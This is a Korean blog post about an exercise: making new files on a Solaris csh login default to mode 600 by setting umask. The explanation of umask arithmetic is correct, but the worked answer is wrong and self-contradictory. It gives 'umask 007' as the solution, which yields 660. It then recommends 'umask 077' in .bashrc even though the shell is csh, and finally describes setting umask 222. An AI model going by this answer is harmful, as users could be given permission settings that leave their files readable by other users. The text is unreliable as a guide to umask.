csh를 사용하는 솔라리스 시스템 로그인을 한 상태에서 파일을 새로 생성할때마다
파일모드가 -rw-r-r-- (644)로 된다. 하지만 이 파일모드는 다른 유저가 파일
내용을 열람할 수 있는 취약점이 있기 때문에 좋지 않아서 일일이 생성된 파일에 대해서
chmod명령어를 통하여 -rw------- (600)으로 바꿔줘야만 했다.
이 작업은 번거롭기 때문에 쉘환경변수를 적절히 변경하여 새로 파일을
생성할때마다 default 파일모드가 -rw------- (600)이 되도록 설정하시오.
단, 이문제에서는 현재 접속되어 있는 쉘에 대해서만 일회성으로 바로잡으면 되며,
쉘환경변수 값을 영구적으로 바로잡기 위해 resource파일을 변경할 필요는없다.



파일을 만들 때 마다 chmod 명령어를 통해 권한을 변경할 필요 없는 상태를
만들어야 하는,.. 그런 문제네요. 이때 umask를 사용합니다.


umask?

디렉토리는 777 권한에서 umask를 뺀 값이 디렉토리의 권한이 되며
일반 파일에 대해서는 666 권한에서 umask를 뺀 값이 파일의 권한이 됩니다.

디렉토리 파일을 만드는데, umask가 002라면, (--- --- -w-)
drwx rwx r-x 권한의 디렉토리가 생성됩니다. (777에서, 002 권한을 뺀 값) = (775)

일반 파일을 만드는데, umask가 022라면 (--- -w- -w-)
-rw- r-- r-- 권한의 파일이 생성됩니다. (666 에서,  022 권한을 뺀 값) = (644)




따라서, umask 007 명령어를 이용해 문제를 쉽게 풀 수 있습니다.

이것 뿐만아니라, 어떤 계정에 대해 쉘 환경변수값 (umask)를
쉘 재접속 후에도 계속 유지하고 싶다면,
 자신의 홈풀더에 .bashrc 파일에 umask 077 을 넣어주면 됩니다.



.bashrc에 umask 222를 넣음으로써,
sosal이란 계정의 쉘에 재접속 하더라도
지속적으로 umask를 222로 유지할 수 있게 되었습니다.

수고하셨습니다.

저작자 표시 비영리 변경 금지
Posted by sosal

댓글을 달아 주세요